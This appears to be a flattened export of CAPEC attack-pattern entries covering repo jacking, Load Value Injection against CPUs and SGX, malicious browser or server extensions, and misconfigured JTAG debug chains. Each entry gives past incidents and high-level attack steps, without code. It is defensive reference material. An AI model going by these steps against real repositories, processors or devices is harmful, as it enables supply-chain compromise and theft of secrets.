Repo Jacking Detailed An adversary takes advantage of the redirect property of directly linked Version Control System (VCS) repositories to trick users into incorporating malicious code into their applications. Software developers may directly reference a VCS repository (i.e., via a hardcoded URL) within source code to integrate the repository as a dependency for the underlying application. If the repository owner/maintainer modifies the repository name, changes their VCS username, or transfers ownership of the repository, the VCS implements a redirect to the new repository location so that existing software referencing the repository will not break. However, if the original location of the repository is reestablished, the VCS will revert to resolving the hardcoded path. Adversaries may, therefore, re-register deleted or previously used usernames and recreate repositories with malicious code to infect applications referencing the repository. When an application then fetches the desired dependency, it will now reference the adversary's malicious repository since the hardcoded repository path is once again active. This ultimately allows the adversary to infect numerous applications, while achieving a variety of negative technical impacts. 2022-09-29 02:00:00 Capec: CAPEC-695
Cwe: CWE-494
Cwe: CWE-829
Attack: T1195.001
Reference_from_capec: REF-722
Reference_from_capec: REF-732
Reference_from_capec: REF-733
Reference_from_capec: REF-734
2023-01-24 01:00:00 2.1 Integrity:
  • Read Data
  • Modify Data
Authorization:
  • Execute Unauthorized Commands
  • Alter Execution Logic
  • Gain Privileges
Access Control:
  • Execute Unauthorized Commands
  • Alter Execution Logic
  • Gain Privileges
Social Engineering
Supply Chain
Communications
Software
Hardware
  1. In May 2022, the CTX Python package and PhPass PHP package were both exploited by the same adversary via Repo Jacking attacks. For the CTX package, the adversary performed an account takeover via a password reset, due to an expired domain-hosting email. The attack on PhPass entailed bypassing GitHub's authentication for retired repositories. In both cases, sensitive data in the form of API keys and passwords, each stored in the form of environment variables, were exfiltrated. [REF-732] [REF-733]
  2. In October 2021, the popular JavaScript library UAParser.js was exploited via the takeover of the author's Node Package Manager (NPM) account. The adversary-provided malware downloaded and executed binaries from a remote server to conduct crypto-mining and to exfiltrate sensitive data on Windows systems. This was a wide-scale attack as the package receives 8 to 9 million downloads per week. [REF-732]

Explore

  1. Identify target: The adversary must first identify a target repository that is commonly used and whose owner/maintainer has either changed/deleted their username or transferred ownership of the repository and then deleted their account. The target should typically be a popular and widely used package, as to increase the scope of the attack.

Experiment

  1. Recreate initial repository path: The adversary re-registers the account that was renamed/deleted by the target repository's owner/maintainer and recreates the target repository with malicious code intended to exploit an application. These steps may need to happen in reverse (i.e., recreate repository and then rename an existing account to the target account) if protections are in place to prevent repository reuse.

Exploit

  1. Exploit victims: The adversary's malicious code is incorporated into applications that directly reference the initial repository, which further allows the adversary to conduct additional attacks.
Medium
  • Identification of a popular repository that may be directly referenced in numerous software applications
  • A repository owner/maintainer who has recently changed their username or deleted their account
Low: Ability to create malware that can exploit various software applications. Stable High 3.9
616
Load Value Injection Detailed An adversary exploits a hardware design flaw in a CPU implementation of transient instruction execution in which a faulting or assisted load instruction transiently forwards adversary-controlled data from microarchitectural buffers. By inducing a page fault or microcode assist during victim execution, an adversary can force legitimate victim execution to operate on the adversary-controlled data which is stored in the microarchitectural buffers. The adversary can then use existing code gadgets and side channel analysis to discover victim secrets that have not yet been flushed from microarchitectural state or hijack the system control flow. This attack is a mix of techniques used in traditional Meltdown and Spectre attacks. It uses microarchitectural data leakage combined with code gadget abuse. Intel has identified that this attack is not applicable in scenarios where the OS and the VMM (Virtual Memory Manager) are both trusted. Because of this, Intel SGX is a prime target for this attack because it assumes that the OS or VMM may be malicious. 2022-09-29 02:00:00 Capec: CAPEC-696
Cwe: CWE-1342
Reference_from_capec: REF-735
Reference_from_capec: REF-736
2022-09-29 02:00:00 2.1 Authorization:
  • Execute Unauthorized Commands
Access Control:
  • Bypass Protection Mechanism
Confidentiality:
  • Read Data
Software
Hardware
Software

Explore

  1. Survey target application and relevant OS shared code libraries: Adversary identifies vulnerable transient instruction sets and the code/function calls to trigger them as well as instruction sets or code fragments (gadgets) to perform attack. The adversary looks for code gadgets which will allow them to load an adversary-controlled value into trusted memory. They also look for code gadgets which might operate on this controlled value.
  2. Techniques
    Utilize Disassembler and Debugger tools to examine and trace instruction set execution of source code and shared code libraries on a system.

Experiment

  1. Fill microarchitectural buffer with controlled value: The adversary will utilize the found code gadget from the previous step to load a value into a microarchitectural buffer.
  2. Techniques
    The adversary may choose the controlled value to be memory address of sensitive information that they want the system to access
    The adversary may choose the controlled value to be the memory address of other code gadgets that they wish to execute by hijacking the control flow of the system
  3. Set up instruction to page fault or microcode assist: The adversary must manipulate the system such that a page fault or microcode assist occurs when a valid instruction is run. If the instruction that fails is near where the adversary-controlled value was loaded, the system may forward this value from the microarchitectural buffer incorrectly.
  4. Techniques
    When targeting Intel SGX enclaves, adversaries that have privileges can manipulate PTEs to provoke page-fault exceptions or microcode assists.
    When targeting Intel SGX enclaves, adversaries can indirectly revoke permissions for enclave code through the “mprotect” system call
    An adversary can evict selected virtual memory pages using legacy interfaces or by increasing physical memory utilization
    When attacking a Windows machine, wait until the OS clears the PTE accessed bit. When the page is next accessed, the CPU will always issue a microcode assist for re-setting this bit

Exploit

  1. Operate on adversary-controlled data: Once the attack has been set up and the page fault or microcode assist occurs, the system operates on the adversary-controlled data.
  2. Techniques
    Influence the system to load sensitive information into microarchitectural state which can be read by the adversary using a code gadget.
    Hijack execution by jumping to second stage gadgets found in the address space. By utilizing return-oriented programming, this can chain gadgets together and allow the adversary to execute a sequence of gadgets.
Low
  • The adversary needs at least user execution access to a system and a maliciously crafted program/application/process with unprivileged code to misuse transient instruction set execution of the CPU.
  • The CPU incorrectly transiently forwards values from microarchitectural buffers after faulting or assisted loads
  • The adversary needs the ability to induce page faults or microcode assists on the target system.
  • Code gadgets exist that allow the adversary to hijack transient execution and encode secrets into the microarchitectural state.
High: The ability to provoke faulting or assisted loads in legitimate execution. Draft Very High 3.9
663
Install Malicious Extension Detailed An adversary directly installs or tricks a user into installing a malicious extension into existing trusted software, with the goal of achieving a variety of negative technical impacts. Many software applications allow users to install third-party software extensions/plugins that provide additional features and functionality. Adversaries can take advantage of this behavior to install malware on a system with relative ease. This may require the adversary compromising a system and then installing the malicious extension themself. An alternate approach entails masquerading the malicious extension as a legitimate extension. The adversary then convinces users to install the malicious component, via means such as social engineering, or simply waits for victims to unknowingly install the malware on their systems. Once the malicious extension has been installed, the adversary can achieve a variety of negative technical impacts such as obtaining sensitive information, executing unauthorized commands, observing/modifying network traffic, and more. 2022-09-29 02:00:00 Capec: CAPEC-698
Cwe: CWE-507
Cwe: CWE-829
Attack: T1176
Attack: T1505.004
Reference_from_capec: REF-740
Reference_from_capec: REF-741
2022-09-29 02:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Execute Unauthorized Commands
  • Alter Execution Logic
  • Gain Privileges
Access Control:
  • Execute Unauthorized Commands
  • Alter Execution Logic
  • Gain Privileges
Confidentiality:
  • Read Data
Software
  1. In January 2018, Palo Alto's Unit 42 reported that a malicious Internet Information Services (IIS) extension they named RGDoor was used to create a backdoor into several Middle Eastern government organizations, as well as a financial institution and an educational institution. This malware was used in conjunction with the TwoFace webshell and allowed the adversaries to upload/download files and execute unauthorized commands. [REF-740]
  2. In December 2018, it was reported that North Korea-based APT Kimusky (also known as Velvet Chollima) infected numerous legitimate academic organizations within the U.S., many specializing in biomedical engineering, with a malicious Google Chrome extension. Dubbed "Operation STOLEN PENCIL", the attack entailed conducting spear-phishing attacks to trick victims into installing a malicious PDF reader named "Auto Font Manager". Once installed, the malware allowed adversaries to steal cookies and site passwords, as well as forward emails from some compromised accounts. [REF-741]

Explore

  1. Identify target(s): The adversary must first identify target software that allows for extensions/plugins and which they wish to exploit, such as a web browser or desktop application. To increase the attack space, this will often be popular software with a large user-base.

Experiment

  1. Create malicious extension: Having identified a suitable target, the adversary crafts a malicious extension/plugin that can be installed by the underlying target software. This malware may be targeted to execute on specific operating systems or be operating system agnostic.

Exploit

  1. Install malicious extension: The malicious extension/plugin is installed by the underlying target software and executes the adversary-created malware, resulting in a variety of negative technical impacts.
  2. Techniques
    Adversary-Installed: Having already compromised the target system, the adversary simply installs the malicious extension/plugin themself.
    User-Installed: The adversary tricks the user into installing the malicious extension/plugin, via means such as social engineering, or may upload the malware on a reputable extension/plugin hosting site and wait for unknowing victims to install the malicious component.
Medium
  • The adversary must craft malware based on the type of software and system(s) they intend to exploit.
  • If the adversary intends to install the malicious extension themself, they must first compromise the target machine via some other means.
Medium: Optional: Ability to exploit target system(s) via other means in order to gain entry. Stable High 3.9
542
Exploiting Incorrect Chaining or Granularity of Hardware Debug Components Detailed An adversary exploits incorrect chaining or granularity of hardware debug components in order to gain unauthorized access to debug functionality on a chip. This happens when authorization is not checked on a per function basis and is assumed for a chain or group of debug functionality. Chip designers often include design elements in a chip for debugging and troubleshooting such as: Various Test Access Ports (TAPs) which allow boundary scan commands to be executed. Scan cells that allow the chip to be used as a "stimulus and response" mechanism for scanning the internal components of a chip. Custom methods to observe the internal components of their chips by placing various tracing hubs within their chip and creating hierarchical or interconnected structures among those hubs. Because devices commonly have multiple chips and debug components, designers will connect debug components and expose them through a single external interface, which is referred to as “chaining”. Logic errors during design or synthesis could misconfigure the chaining of the debug components, which could allow unintended access. TAPs are also commonly referred to as JTAG interfaces. 2023-01-24 01:00:00 Capec: CAPEC-702
Cwe: CWE-1296
Reference_from_capec: REF-748
Reference_from_capec: REF-749
Reference_from_capec: REF-750
2023-01-24 01:00:00 2.1 Integrity:
  • Modify Data
Authorization:
  • Gain Privileges
Access Control:
  • Gain Privileges
Confidentiality:
  • Read Data
Software
Hardware
  1. A System-on-Chip (SoC) might give regular users access to the SoC-level TAP, but does not want to give access to all of the internal TAPs (e.g., Core). If any of the internal TAPs were incorrectly chained to the SoC-level TAP, this would grant regular users access to the internal TAPs and allow them to execute commands there.
  2. Suppose there is a hierarchy of TAPs (TAP_A is connected to TAP_B and TAP_C, then TAP_B is connected to TAP_D and TAP_E, then TAP_C is connected to TAP_F and TAP_G, etc.). Architecture mandates that the user have one set of credentials for just accessing TAP_A, another set of credentials for accessing TAP_B and TAP_C, etc. However, if, during implementation, the designer mistakenly implements a daisy-chained TAP where all the TAPs are connected in a single TAP chain without the hierarchical structure, the correct granularity of debug components is not implemented, and the attacker can gain unauthorized access.

Explore

  1. Find and scan debug interface: The adversary must first find and scan a debug interface to determine what they are authorized to use and what devices are chained to that interface.
  2. Techniques
    Use a JTAGulator on a JTAG interface to determine the correct pin configuration, baud rate, and number of devices in the chain

Experiment

  1. Connect to debug interface: The adversary next connects a device to the JTAG interface using the properties found in the explore phase so that they can send commands. The adversary sends some test commands to make sure the connection is working.
  2. Techniques
    Connect a device such as a BusPirate or UM232H to the JTAG interface and connect using pin layout found from the JTAGulator

Exploit

  1. Move along debug chain: Once the adversary has connected to the main TAP, or JTAG interface, they will move along the TAP chain to see what debug interfaces might be available on that chain.
  2. Techniques
    Run a command such as “scan_chain” to see what TAPs are available in the chain.
Low
  • Hardware device has an exposed debug interface
  • A device to scan a TAP or JTAG interface, such as a JTAGulator
  • A device to communicate on a TAP or JTAG interface, such as a BusPirate
Medium: Ability to operate devices to scan and connect to an exposed debug interface Draft Medium 3.9
180
Capec ID Name Abstraction Description Extended Description Created External References Modified Spec Version Alternate Terms Consequences Domains Example Instances Execution Flow Likelihood Of Attack Peer Of Refs Prerequisites Resources Required Skills Required Status Typical Severity Version Capec Children ID Capec Parents ID